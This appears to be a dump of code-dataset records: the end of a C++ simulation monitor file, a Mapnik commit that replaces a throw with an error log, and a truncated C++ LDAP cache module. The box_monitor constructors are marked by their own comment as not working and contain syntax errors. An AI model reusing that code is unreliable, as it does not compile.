double[N];\n for (int i = 0; i != N; i++) \n S[i] = 0;\n\n for (int j = 0; j != N; j++) {\n for (int i = 0; i != length; i++) {\n S[j] += rE[i][j]*rH[i][j] + iE[i][j]*iH[i][j];\n }\n S[j] *= F->dx;\n }\n\n F->write_monitor(filename, name, S, N, extendable); \n delete[] S;\n}\n\n\/\/none of this below actually works\n\/\/Consider the following: box_monitor doesn't call surface_monitor, but the code used in surface_monitor\n\/\/ can be externalized so that both can use it\n\/\/For corners, first study using 4 surface_monitors directly\n\nbox_monitor::box_monitor(string name, vector<int> p1, vector<int> p2, double *freq, int N):\n monitor(name, freq, N) {\n monitors = new surface_monitor[4];\n monitors[0] = surface_monitor(name + \"_1\", p1, {p2[0], p1[1]}, freq, N);\n monitors[1] = surface_monitor(name + \"_2\", {p2[0], p1[1]}, p2, freq, N);\n monitors[2] = surface_monitor(name + \"_3\", {p1[1], p2[0]}, p2, freq, N);\n monitors[3] = surface_monitor(name + \"_4\", p1, {p1[1], p2[0]}, freq, N);\n}\n\nbox_monitor::box_monitor(std::string name, std::vector<int> p1, std::vector<int> p2, double fmin, double fmax, int N):\n box_monitor(name, p1 p2, nullptr, N) {\n freq = new double[N];\n for (int i = 0; i != N; i ++) {\n freq[i] = fmin + (fmax-fmin)\/(N-1.0)*i;\n }\n}\n\nbox_monitor::box_monitor(std::string name, std::vector<int> p1, std::vector<int> p2, double f);\n box_monitor(name, p1 p2, nullptr, 1) {\n freq = new double[1];\n freq[0] = f;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_RENDER_PATTERN_HPP\n#define MAPNIK_RENDER_PATTERN_HPP\n\n#include <mapnik\/image.hpp>\n#include <mapnik\/marker.hpp>\n#include <mapnik\/symbolizer.hpp>\n#include <mapnik\/renderer_common.hpp>\n#include <mapnik\/svg\/svg_converter.hpp>\n#include <mapnik\/svg\/svg_renderer_agg.hpp>\n#include <mapnik\/svg\/svg_path_adapter.hpp>\n#include <mapnik\/agg_rasterizer.hpp>\n#include <mapnik\/util\/const_rendering_buffer.hpp>\n#include <mapnik\/marker_helpers.hpp>\n\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore_agg.hpp>\n#include \"agg_rendering_buffer.h\"\n#include \"agg_pixfmt_rgba.h\"\n#include \"agg_pixfmt_gray.h\"\n#include \"agg_color_rgba.h\"\n#include \"agg_color_gray.h\"\n#include \"agg_scanline_u.h\"\n#include \"agg_image_accessors.h\"\n#include \"agg_span_image_filter_rgba.h\"\n#include \"agg_rasterizer_scanline_aa.h\"\n#pragma GCC diagnostic pop\n\nnamespace mapnik {\n\ntemplate <typename Symbolizer, typename Rasterizer>\nstruct common_pattern_process_visitor\n{\n using image_type = image_rgba8;\n\n common_pattern_process_visitor(Rasterizer & ras,\n renderer_common const & common,\n Symbolizer const & sym,\n feature_impl const & feature)\n : ras_(ras),\n common_(common),\n sym_(sym),\n feature_(feature),\n spacing_(get<value_double>(sym_, keys::spacing)),\n lacing_(get<pattern_lacing_mode_enum>(sym_, keys::lacing))\n {\n }\n\n image_type operator() (marker_null const &) const\n {\n throw std::runtime_error(\"This should not have been reached.\");\n }\n\n template <typename Marker>\n image_type operator() (Marker const & marker) const\n {\n box2d<double> bbox(marker.bounding_box());\n agg::trans_affine tr(transform(bbox));\n\n if (bbox.width() < 1.0 || bbox.height() < 1.0)\n {\n throw std::runtime_error(\"Pattern image smaller than one pixel\");\n }\n\n if (lacing_ == PATTERN_LACING_MODE_ALTERNATING_GRID)\n {\n return render_pattern_alternating(ras_, marker, bbox, tr);\n }\n return render_pattern(ras_, marker, bbox, tr);\n }\n\nprivate:\n agg::trans_affine transform(box2d<double> & bbox) const\n {\n agg::trans_affine tr = agg::trans_affine_scaling(common_.scale_factor_);\n auto image_transform = get_optional<transform_type>(sym_, keys::image_transform);\n if (image_transform) evaluate_transform(tr, feature_, common_.vars_, *image_transform, common_.scale_factor_);\n bbox *= tr;\n coord<double, 2> c = bbox.center();\n agg::trans_affine mtx = agg::trans_affine_translation(\n 0.5 * bbox.width() - c.x,\n 0.5 * bbox.height() - c.y);\n return tr * mtx;\n }\n\n image_rgba8 render_pattern(rasterizer & ras,\n marker_svg const & marker,\n box2d<double> const & bbox,\n agg::trans_affine tr) const\n {\n using pixfmt = agg::pixfmt_rgba32_pre;\n using renderer_base = agg::renderer_base<pixfmt>;\n using renderer_solid = agg::renderer_scanline_aa_solid<renderer_base>;\n agg::scanline_u8 sl;\n\n image_rgba8 image(bbox.width() + spacing_, bbox.height() + spacing_);\n agg::rendering_buffer buf(image.bytes(), image.width(), image.height(), image.row_size());\n pixfmt pixf(buf);\n renderer_base renb(pixf);\n\n svg_storage_type & svg = *marker.get_data();\n svg_attribute_type const & svg_attributes = svg.attributes();\n svg_attribute_type custom_attributes;\n bool use_custom_attributes = push_explicit_style(\n svg_attributes, custom_attributes, sym_, feature_, common_.vars_);\n svg_attribute_type const & used_attributes = use_custom_attributes ?\n custom_attributes : svg_attributes;\n\n svg::vertex_stl_adapter<svg::svg_path_storage> stl_storage(svg.source());\n svg::svg_path_adapter svg_path(stl_storage);\n using renderer_type = svg::svg_renderer_agg<svg::svg_path_adapter,\n agg::pod_bvector<svg::path_attributes>, renderer_solid, pixfmt>;\n renderer_type svg_renderer(svg_path, used_attributes);\n\n tr.translate(spacing_ \/ 2.0, spacing_ \/ 2.0);\n svg_renderer.render(ras, sl, renb, tr, 1.0, bbox);\n return image;\n }\n\n image_rgba8 render_pattern(rasterizer & ras,\n marker_rgba8 const& marker,\n box2d<double> const & bbox,\n agg::trans_affine tr) const\n {\n using pixfmt = agg::pixfmt_rgba32_pre;\n using renderer_base = agg::renderer_base<pixfmt>;\n using renderer = agg::renderer_scanline_aa_solid<renderer_base>;\n\n image_rgba8 image(bbox.width() + spacing_, bbox.height() + spacing_);\n agg::rendering_buffer buf_out(image.bytes(), image.width(), image.height(), image.row_size());\n pixfmt pixf_out(buf_out);\n renderer_base rb(pixf_out);\n renderer r(rb);\n\n using const_rendering_buffer = util::rendering_buffer<image_rgba8>;\n using pixfmt_in = agg::pixfmt_alpha_blend_rgba<agg::blender_rgba32_pre, const_rendering_buffer, agg::pixel32_type>;\n\n image_rgba8 const& src = marker.get_data();\n const_rendering_buffer buf_in(src);\n pixfmt_in pixf(buf_in);\n\n tr.translate(spacing_ \/ 2.0, spacing_ \/ 2.0);\n tr.invert();\n\n using interpolator_type = agg::span_interpolator_linear<>;\n interpolator_type interpolator(tr);\n\n agg::span_allocator<agg::rgba8> sa;\n\n agg::image_filter_lut filter;\n filter.calculate(agg::image_filter_bilinear(), true);\n\n using img_accessor_type = agg::image_accessor_clone<pixfmt_in>;\n using span_gen_type = agg::span_image_resample_rgba_affine<img_accessor_type>;\n img_accessor_type ia(pixf);\n span_gen_type sg(ia, interpolator, filter);\n\n agg::scanline_u8 sl;\n ras.move_to_d(0, 0);\n ras.line_to_d(image.width(), 0);\n ras.line_to_d(image.width(), image.height());\n ras.line_to_d(0, image.height());\n\n agg::render_scanlines_aa(ras, sl, rb, sa, sg);\n\n return image;\n }\n\n image_rgba8 render_pattern_alternating(rasterizer & ras,\n marker_svg const & marker,\n box2d<double> const & bbox,\n agg::trans_affine tr) const\n {\n using pixfmt = agg::pixfmt_rgba32_pre;\n using renderer_base = agg::renderer_base<pixfmt>;\n using renderer_solid = agg::renderer_scanline_aa_solid<renderer_base>;\n agg::scanline_u8 sl;\n\n image_rgba8 image(bbox.width() + spacing_, (bbox.height() + spacing_) * 2.0);\n agg::rendering_buffer buf(image.bytes(), image.width(), image.height(), image.row_size());\n pixfmt pixf(buf);\n renderer_base renb(pixf);\n\n svg_storage_type & svg = *marker.get_data();\n svg_attribute_type const & svg_attributes = svg.attributes();\n svg_attribute_type custom_attributes;\n bool use_custom_attributes = push_explicit_style(\n svg_attributes, custom_attributes, sym_, feature_, common_.vars_);\n svg_attribute_type const & used_attributes = use_custom_attributes ?\n custom_attributes : svg_attributes;\n\n svg::vertex_stl_adapter<svg::svg_path_storage> stl_storage(svg.source());\n svg::svg_path_adapter svg_path(stl_storage);\n using renderer_type = svg::svg_renderer_agg<svg::svg_path_adapter,\n agg::pod_bvector<svg::path_attributes>, renderer_solid, pixfmt>;\n renderer_type svg_renderer(svg_path, used_attributes);\n\n tr.translate(spacing_ \/ 2.0, spacing_ \/ 2.0);\n svg_renderer.render(ras, sl, renb, tr, 1.0, bbox);\n tr.translate(-(bbox.width() \/ 2.0 + spacing_ \/ 2.0), bbox.height() + spacing_);\n svg_renderer.render(ras, sl, renb, tr, 1.0, bbox);\n tr.translate(bbox.width() + spacing_, 0);\n svg_renderer.render(ras, sl, renb, tr, 1.0, bbox);\n return image;\n }\n\n image_rgba8 render_pattern_alternating(rasterizer & ras,\n marker_rgba8 const& marker,\n box2d<double> const & bbox,\n agg::trans_affine tr) const\n {\n using pixfmt = agg::pixfmt_rgba32_pre;\n using renderer_base = agg::renderer_base<pixfmt>;\n using renderer = agg::renderer_scanline_aa_solid<renderer_base>;\n\n image_rgba8 image(bbox.width() + spacing_, (bbox.height() + spacing_) * 2.0);\n agg::rendering_buffer buf_out(image.bytes(), image.width(), image.height(), image.row_size());\n pixfmt pixf_out(buf_out);\n renderer_base rb(pixf_out);\n renderer r(rb);\n\n using const_rendering_buffer = util::rendering_buffer<image_rgba8>;\n using pixfmt_in = agg::pixfmt_alpha_blend_rgba<agg::blender_rgba32_pre, const_rendering_buffer, agg::pixel32_type>;\n\n image_rgba8 const& src = marker.get_data();\n const_rendering_buffer buf_in(src);\n pixfmt_in pixf(buf_in);\n\n tr.translate(spacing_ \/ 2.0, spacing_ \/ 2.0);\n tr.invert();\n\n using interpolator_type = agg::span_interpolator_linear<>;\n interpolator_type interpolator(tr);\n\n agg::span_allocator<agg::rgba8> sa;\n\n agg::image_filter_lut filter;\n filter.calculate(agg::image_filter_bilinear(), true);\n\n using img_accessor_type = agg::image_accessor_clone<pixfmt_in>;\n using span_gen_type = agg::span_image_resample_rgba_affine<img_accessor_type>;\n img_accessor_type ia(pixf);\n span_gen_type sg(ia, interpolator, filter);\n\n agg::scanline_u8 sl;\n ras.move_to_d(0, 0);\n ras.line_to_d(image.width(), 0);\n ras.line_to_d(image.width(), image.height());\n ras.line_to_d(0, image.height());\n\n agg::render_scanlines_aa(ras, sl, rb, sa, sg);\n\n tr.invert();\n tr.translate(-(bbox.width() \/ 2.0 + spacing_ \/ 2.0), bbox.height() + spacing_);\n tr.invert();\n agg::render_scanlines_aa(ras, sl, rb, sa, sg);\n\n tr.invert();\n tr.translate(bbox.width() + spacing_, 0);\n tr.invert();\n agg::render_scanlines_aa(ras, sl, rb, sa, sg);\n\n return image;\n }\n\n Rasterizer & ras_;\n renderer_common const & common_;\n Symbolizer const & sym_;\n feature_impl const & feature_;\n const value_double spacing_;\n const pattern_lacing_mode_enum lacing_;\n};\n\n} \/\/ namespace mapnik\n\n#endif \/\/ MAPNIK_RENDER_PATTERN_HPP\n<commit_msg>do not throw during rendering<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_RENDER_PATTERN_HPP\n#define MAPNIK_RENDER_PATTERN_HPP\n\n#include <mapnik\/image.hpp>\n#include <mapnik\/marker.hpp>\n#include <mapnik\/symbolizer.hpp>\n#include <mapnik\/renderer_common.hpp>\n#include <mapnik\/svg\/svg_converter.hpp>\n#include <mapnik\/svg\/svg_renderer_agg.hpp>\n#include <mapnik\/svg\/svg_path_adapter.hpp>\n#include <mapnik\/agg_rasterizer.hpp>\n#include <mapnik\/util\/const_rendering_buffer.hpp>\n#include <mapnik\/marker_helpers.hpp>\n\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore_agg.hpp>\n#include \"agg_rendering_buffer.h\"\n#include \"agg_pixfmt_rgba.h\"\n#include \"agg_pixfmt_gray.h\"\n#include \"agg_color_rgba.h\"\n#include \"agg_color_gray.h\"\n#include \"agg_scanline_u.h\"\n#include \"agg_image_accessors.h\"\n#include \"agg_span_image_filter_rgba.h\"\n#include \"agg_rasterizer_scanline_aa.h\"\n#pragma GCC diagnostic pop\n\nnamespace mapnik {\n\ntemplate <typename Symbolizer, typename Rasterizer>\nstruct common_pattern_process_visitor\n{\n using image_type = image_rgba8;\n\n common_pattern_process_visitor(Rasterizer & ras,\n renderer_common const & common,\n Symbolizer const & sym,\n feature_impl const & feature)\n : ras_(ras),\n common_(common),\n sym_(sym),\n feature_(feature),\n spacing_(get<value_double>(sym_, keys::spacing)),\n lacing_(get<pattern_lacing_mode_enum>(sym_, keys::lacing))\n {\n }\n\n image_type operator() (marker_null const &) const\n {\n throw std::runtime_error(\"This should not have been reached.\");\n }\n\n template <typename Marker>\n image_type operator() (Marker const & marker) const\n {\n box2d<double> bbox(marker.bounding_box());\n agg::trans_affine tr(transform(bbox));\n\n if (bbox.width() < 1.0 || bbox.height() < 1.0)\n {\n MAPNIK_LOG_ERROR(common_pattern_process_visitor) << \"Pattern image smaller than one pixel\";\n }\n\n if (lacing_ == PATTERN_LACING_MODE_ALTERNATING_GRID)\n {\n return render_pattern_alternating(ras_, marker, bbox, tr);\n }\n return render_pattern(ras_, marker, bbox, tr);\n }\n\nprivate:\n agg::trans_affine transform(box2d<double> & bbox) const\n {\n agg::trans_affine tr = agg::trans_affine_scaling(common_.scale_factor_);\n auto image_transform = get_optional<transform_type>(sym_, keys::image_transform);\n if (image_transform) evaluate_transform(tr, feature_, common_.vars_, *image_transform, common_.scale_factor_);\n bbox *= tr;\n coord<double, 2> c = bbox.center();\n agg::trans_affine mtx = agg::trans_affine_translation(\n 0.5 * bbox.width() - c.x,\n 0.5 * bbox.height() - c.y);\n return tr * mtx;\n }\n\n image_rgba8 render_pattern(rasterizer & ras,\n marker_svg const & marker,\n box2d<double> const & bbox,\n agg::trans_affine tr) const\n {\n using pixfmt = agg::pixfmt_rgba32_pre;\n using renderer_base = agg::renderer_base<pixfmt>;\n using renderer_solid = agg::renderer_scanline_aa_solid<renderer_base>;\n agg::scanline_u8 sl;\n\n image_rgba8 image(bbox.width() + spacing_, bbox.height() + spacing_);\n agg::rendering_buffer buf(image.bytes(), image.width(), image.height(), image.row_size());\n pixfmt pixf(buf);\n renderer_base renb(pixf);\n\n svg_storage_type & svg = *marker.get_data();\n svg_attribute_type const & svg_attributes = svg.attributes();\n svg_attribute_type custom_attributes;\n bool use_custom_attributes = push_explicit_style(\n svg_attributes, custom_attributes, sym_, feature_, common_.vars_);\n svg_attribute_type const & used_attributes = use_custom_attributes ?\n custom_attributes : svg_attributes;\n\n svg::vertex_stl_adapter<svg::svg_path_storage> stl_storage(svg.source());\n svg::svg_path_adapter svg_path(stl_storage);\n using renderer_type = svg::svg_renderer_agg<svg::svg_path_adapter,\n agg::pod_bvector<svg::path_attributes>, renderer_solid, pixfmt>;\n renderer_type svg_renderer(svg_path, used_attributes);\n\n tr.translate(spacing_ \/ 2.0, spacing_ \/ 2.0);\n svg_renderer.render(ras, sl, renb, tr, 1.0, bbox);\n return image;\n }\n\n image_rgba8 render_pattern(rasterizer & ras,\n marker_rgba8 const& marker,\n box2d<double> const & bbox,\n agg::trans_affine tr) const\n {\n using pixfmt = agg::pixfmt_rgba32_pre;\n using renderer_base = agg::renderer_base<pixfmt>;\n using renderer = agg::renderer_scanline_aa_solid<renderer_base>;\n\n image_rgba8 image(bbox.width() + spacing_, bbox.height() + spacing_);\n agg::rendering_buffer buf_out(image.bytes(), image.width(), image.height(), image.row_size());\n pixfmt pixf_out(buf_out);\n renderer_base rb(pixf_out);\n renderer r(rb);\n\n using const_rendering_buffer = util::rendering_buffer<image_rgba8>;\n using pixfmt_in = agg::pixfmt_alpha_blend_rgba<agg::blender_rgba32_pre, const_rendering_buffer, agg::pixel32_type>;\n\n image_rgba8 const& src = marker.get_data();\n const_rendering_buffer buf_in(src);\n pixfmt_in pixf(buf_in);\n\n tr.translate(spacing_ \/ 2.0, spacing_ \/ 2.0);\n tr.invert();\n\n using interpolator_type = agg::span_interpolator_linear<>;\n interpolator_type interpolator(tr);\n\n agg::span_allocator<agg::rgba8> sa;\n\n agg::image_filter_lut filter;\n filter.calculate(agg::image_filter_bilinear(), true);\n\n using img_accessor_type = agg::image_accessor_clone<pixfmt_in>;\n using span_gen_type = agg::span_image_resample_rgba_affine<img_accessor_type>;\n img_accessor_type ia(pixf);\n span_gen_type sg(ia, interpolator, filter);\n\n agg::scanline_u8 sl;\n ras.move_to_d(0, 0);\n ras.line_to_d(image.width(), 0);\n ras.line_to_d(image.width(), image.height());\n ras.line_to_d(0, image.height());\n\n agg::render_scanlines_aa(ras, sl, rb, sa, sg);\n\n return image;\n }\n\n image_rgba8 render_pattern_alternating(rasterizer & ras,\n marker_svg const & marker,\n box2d<double> const & bbox,\n agg::trans_affine tr) const\n {\n using pixfmt = agg::pixfmt_rgba32_pre;\n using renderer_base = agg::renderer_base<pixfmt>;\n using renderer_solid = agg::renderer_scanline_aa_solid<renderer_base>;\n agg::scanline_u8 sl;\n\n image_rgba8 image(bbox.width() + spacing_, (bbox.height() + spacing_) * 2.0);\n agg::rendering_buffer buf(image.bytes(), image.width(), image.height(), image.row_size());\n pixfmt pixf(buf);\n renderer_base renb(pixf);\n\n svg_storage_type & svg = *marker.get_data();\n svg_attribute_type const & svg_attributes = svg.attributes();\n svg_attribute_type custom_attributes;\n bool use_custom_attributes = push_explicit_style(\n svg_attributes, custom_attributes, sym_, feature_, common_.vars_);\n svg_attribute_type const & used_attributes = use_custom_attributes ?\n custom_attributes : svg_attributes;\n\n svg::vertex_stl_adapter<svg::svg_path_storage> stl_storage(svg.source());\n svg::svg_path_adapter svg_path(stl_storage);\n using renderer_type = svg::svg_renderer_agg<svg::svg_path_adapter,\n agg::pod_bvector<svg::path_attributes>, renderer_solid, pixfmt>;\n renderer_type svg_renderer(svg_path, used_attributes);\n\n tr.translate(spacing_ \/ 2.0, spacing_ \/ 2.0);\n svg_renderer.render(ras, sl, renb, tr, 1.0, bbox);\n tr.translate(-(bbox.width() \/ 2.0 + spacing_ \/ 2.0), bbox.height() + spacing_);\n svg_renderer.render(ras, sl, renb, tr, 1.0, bbox);\n tr.translate(bbox.width() + spacing_, 0);\n svg_renderer.render(ras, sl, renb, tr, 1.0, bbox);\n return image;\n }\n\n image_rgba8 render_pattern_alternating(rasterizer & ras,\n marker_rgba8 const& marker,\n box2d<double> const & bbox,\n agg::trans_affine tr) const\n {\n using pixfmt = agg::pixfmt_rgba32_pre;\n using renderer_base = agg::renderer_base<pixfmt>;\n using renderer = agg::renderer_scanline_aa_solid<renderer_base>;\n\n image_rgba8 image(bbox.width() + spacing_, (bbox.height() + spacing_) * 2.0);\n agg::rendering_buffer buf_out(image.bytes(), image.width(), image.height(), image.row_size());\n pixfmt pixf_out(buf_out);\n renderer_base rb(pixf_out);\n renderer r(rb);\n\n using const_rendering_buffer = util::rendering_buffer<image_rgba8>;\n using pixfmt_in = agg::pixfmt_alpha_blend_rgba<agg::blender_rgba32_pre, const_rendering_buffer, agg::pixel32_type>;\n\n image_rgba8 const& src = marker.get_data();\n const_rendering_buffer buf_in(src);\n pixfmt_in pixf(buf_in);\n\n tr.translate(spacing_ \/ 2.0, spacing_ \/ 2.0);\n tr.invert();\n\n using interpolator_type = agg::span_interpolator_linear<>;\n interpolator_type interpolator(tr);\n\n agg::span_allocator<agg::rgba8> sa;\n\n agg::image_filter_lut filter;\n filter.calculate(agg::image_filter_bilinear(), true);\n\n using img_accessor_type = agg::image_accessor_clone<pixfmt_in>;\n using span_gen_type = agg::span_image_resample_rgba_affine<img_accessor_type>;\n img_accessor_type ia(pixf);\n span_gen_type sg(ia, interpolator, filter);\n\n agg::scanline_u8 sl;\n ras.move_to_d(0, 0);\n ras.line_to_d(image.width(), 0);\n ras.line_to_d(image.width(), image.height());\n ras.line_to_d(0, image.height());\n\n agg::render_scanlines_aa(ras, sl, rb, sa, sg);\n\n tr.invert();\n tr.translate(-(bbox.width() \/ 2.0 + spacing_ \/ 2.0), bbox.height() + spacing_);\n tr.invert();\n agg::render_scanlines_aa(ras, sl, rb, sa, sg);\n\n tr.invert();\n tr.translate(bbox.width() + spacing_, 0);\n tr.invert();\n agg::render_scanlines_aa(ras, sl, rb, sa, sg);\n\n return image;\n }\n\n Rasterizer & ras_;\n renderer_common const & common_;\n Symbolizer const & sym_;\n feature_impl const & feature_;\n const value_double spacing_;\n const pattern_lacing_mode_enum lacing_;\n};\n\n} \/\/ namespace mapnik\n\n#endif \/\/ MAPNIK_RENDER_PATTERN_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2005, Peter Sommerlad and IFS Institute for Software at HSR Rapperswil, Switzerland\n * All rights reserved.\n *\n * This library\/application is free software; you can redistribute and\/or modify it under the terms of\n * the license that is included with this library\/application in the file license.txt.\n *\/\n\n\/\/--- interface include --------------------------------------------------------\n#include \"LDAPDAICachePolicyModule.h\"\n\n\/\/--- standard modules used ----------------------------------------------------\n#include \"Dbg.h\"\n#include \"System.h\"\n#include \"SysLog.h\"\n#include \"DataAccess.h\"\n#include \"Action.h\"\n\n\/\/--- c-modules used -----------------------------------------------------------\n\n\/\/---- LDAPDAICachePolicyModule -----------------------------------------------------------\nRegisterModule(LDAPDAICachePolicyModule);\n\nLDAPDAICachePolicyModule *LDAPDAICachePolicyModule::fgLDAPDAICachePolicyModule = 0;\n\nLDAPDAICachePolicyModule::LDAPDAICachePolicyModule(const char *name) : WDModule(name)\n{\n\tStartTrace(LDAPDAICachePolicyModule.LDAPDAICachePolicyModule);\n}\n\nLDAPDAICachePolicyModule::~LDAPDAICachePolicyModule()\n{\n\tStartTrace(LDAPDAICachePolicyModule.~LDAPDAICachePolicyModule);\n}\n\nbool LDAPDAICachePolicyModule::Init(const ROAnything config)\n{\n\tStartTrace(LDAPDAICachePolicyModule.Init);\n\tROAnything LDAPDAICachePolicyModuleConfig;\n\tconfig.LookupPath(LDAPDAICachePolicyModuleConfig, \"LDAPDAICachePolicyModule\");\n\tTraceAny(LDAPDAICachePolicyModuleConfig, \"LDAPDAICachePolicyModule:\");\n\n\tROAnything dataAccesses(config[\"LDAPDAICachePolicyModule\"][\"LDAPDAIDataAccess\"]);\n\tROAnything dataAccessActions(config[\"LDAPDAICachePolicyModule\"][\"LDAPDAIDataAccessAction\"]);\n\tif ( dataAccesses.GetSize() == 0 && dataAccessActions.GetSize() == 0 ) {\n\t\tSysLog::WriteToStderr(\"\\tLDAPDAICachePolicyModule::Init can't read needed configuration data.\\n\");\n\t\treturn false;\n\t}\n\tif ( InitialLoad(dataAccesses, LDAPDAICachePolicyModule::dataaccess, config.DeepClone()) \t== false ||\n\t\t InitialLoad(dataAccessActions, LDAPDAICachePolicyModule::action, config.DeepClone()) \t== false ) {\n\t\treturn false;\n\t}\n\tString failedDataAccesses;\n\tCheckContractIsFulfilled(failedDataAccesses, dataAccesses);\n\tCheckContractIsFulfilled(failedDataAccesses, dataAccessActions);\n\tif (failedDataAccesses.Length() != 0 ) {\n\t\tSysLog::WriteToStderr(String(\"\\tLDAPDAICachePolicyModule::LDAP Query: \") << failedDataAccesses <<\n\t\t\t\t\t\t\t String(\" returned no data.\\n\"));\n\t\treturn false;\n\t}\n\tSysLog::WriteToStderr(\"\\tLDAPDAICachePolicyModule done\\n\");\n\treturn true;\n}\n\nbool LDAPDAICachePolicyModule::InitialLoad(const ROAnything dataAccesses, LDAPDAICachePolicyModule::EDataAccessType daType, const Anything &config )\n{\n\tStartTrace(LDAPDAICachePolicyModule.InitialLoad);\n\tCacheHandler *cache = CacheHandler::Get();\n\tbool ret(true);\n\tif (cache) {\n\t\tLDAPDAIDataAcccessLoader ldl(config);\n\t\tLDAPDAIActionLoader lal(config);\n\t\tAnything tmp;\n\t\tfor (int i = 0; i < dataAccesses.GetSize(); i++) {\n\t\t\tString toDo(dataAccesses[i].AsString());\n\t\t\tif ( daType == dataaccess ) {\n\t\t\t\tTrace(\"Loading ldl with: \" << toDo);\n\t\t\t\tcache->Load(\"LdapDAIGetter\", toDo, &ldl);\n\t\t\t}\n\t\t\tif ( daType == action ) {\n\t\t\t\tTrace(\"Loading lal with: \" << toDo);\n\t\t\t\tcache->Load(\"LdapDAIGetter\", toDo, &lal);\n\t\t\t}\n\t\t}\n\t} else {\n\t\tSysLog::WriteToStderr(\"\\tLDAPDAICachePolicyModule::InitialLoad: NoCacheHandlerFound\\n\");\n\t\tret = false;\n\t}\n\treturn ret;\n}\n\nbool LDAPDAICachePolicyModule::CheckContractIsFulfilled(String &failedDataAccesses, const ROAnything dataAccesses)\n{\n\tStartTrace(LDAPDAICachePolicyModule.CheckContractIsFulfilled);\n\tbool ret(true);\n\tfor (int i = 0; i < dataAccesses.GetSize(); i++) {\n\t\tString daToDo(dataAccesses[i].AsString());\n\t\tTrace(\"Checking with: \" << daToDo);\n\n\t\tROAnything result(LDAPDAICacheGetter::GetAll(daToDo));\n\t\t\/\/ broke contract: specified LDAP-query must return data\n\t\tif (result.IsNull()) {\n\t\t\tfailedDataAccesses.Append(daToDo);\n\t\t\tfailedDataAccesses.Append(\" \");\n\t\t\tret = false;\n\t\t}\n\t}\n\treturn ret;\n}\n\nbool LDAPDAICachePolicyModule::Finis()\n{\n\tStartTrace(LDAPDAICachePolicyModule.Finis);\n\n\tSysLog::WriteToStderr(\"\\tTerminating LDAPDAICachePolicyModule done\\n\");\n\treturn true;\n}\n\n\/\/--- LDAPDAIDataAcccessLoader -----------------------------------------------\nLDAPDAIDataAcccessLoader::LDAPDAIDataAcccessLoader() { }\nLDAPDAIDataAcccessLoader::LDAPDAIDataAcccessLoader(Anything config) : fConfig(config) { }\nLDAPDAIDataAcccessLoader::~LDAPDAIDataAcccessLoader() { }\nAnything LDAPDAIDataAcccessLoader::Load(const char *ldapDa)\n{\n\tStartTrace(LDAPDAIDataAcccessLoader.Load);\n\tAnything theResult(Storage::Global());\n\tContext ctx;\n\tContext::PushPopEntry aEntry(ctx, \"LdapLoader\", fConfig);\n\n\tif (ldapDa != \"\") {\n\t\tDataAccess da(ldapDa);\n\t\tbool retCode = da.StdExec(ctx);\n\t\tAnything tmpStore(ctx.GetTmpStore());\n\n\t\tif (retCode && tmpStore[\"LDAPResult\"][ldapDa][\"NumberOfEntries\"].AsLong() > 0) {\n\t\t\ttheResult = tmpStore[\"LDAPResult\"][ldapDa][\"Entries\"];\n\t\t} else {\n\t\t\tString msg;\n\t\t\tmsg << \"\\tLDAPDAICachePolicyModule::Load Unable to exec LDAP query for: \" << ldapDa << \"\\n\";\n\t\t\tSysLog::WriteToStderr(msg);\n\t\t}\n\t}\n\n\tTraceAny(theResult, \"LDAP-Result for \" << ldapDa << \" cache.\");\n\treturn theResult;\n}\n\n\/\/--- LDAPDAIDataAcccessLoader -----------------------------------------------\nLDAPDAIActionLoader::LDAPDAIActionLoader() { }\nLDAPDAIActionLoader::LDAPDAIActionLoader(Anything config) : fConfig(config) { }\nLDAPDAIActionLoader::~LDAPDAIActionLoader() { }\n\nAnything LDAPDAIActionLoader::Load(const char *ldapDaAction)\n{\n\tStartTrace(LDAPDAIActionLoader.Load);\n\tAnything theResult(Storage::Global());\n\tContext ctx;\n\tContext::PushPopEntry aEntry(ctx, \"LdapLoader\", fConfig);\n\tif (ldapDaAction != \"\") {\n\t\tAnything tmpStore = ctx.GetTmpStore();\n\t\tString transition;\n\t\tAnything config;\n\t\t\/\/ Default constructs an action config containing the name of the LDAPDAIDataAccess to execute\n\t\t\/\/ This may be overridden by the action implementing the DataAccess(es).\n\t\tconfig[ldapDaAction][\"DataAccess\"] = ldapDaAction;\n\t\tbool retCode = Action::ExecAction(transition, ctx, config);\n\t\tTrace(\"Result of DataAccess \" << ldapDaAction << \" is: \" << retCode);\n\t\t\/\/ Called Action *must* return results in slot [\"LDAPResult\"][ldapDaAction]\n\t\tTraceAny(tmpStore[\"LDAPResult\"][ldapDaAction], \"Returned: \" << ldapDaAction);\n\t\tif (retCode && tmpStore[\"LDAPResult\"][ldapDaAction][\"NumberOfEntries\"].AsLong() > 0) {\n\t\t\ttheResult = tmpStore[\"LDAPResult\"][ldapDaAction][\"Entries\"];\n\t\t\tTraceAny(theResult, \"Result of Load()\");\n\t\t} else {\n\t\t\tString 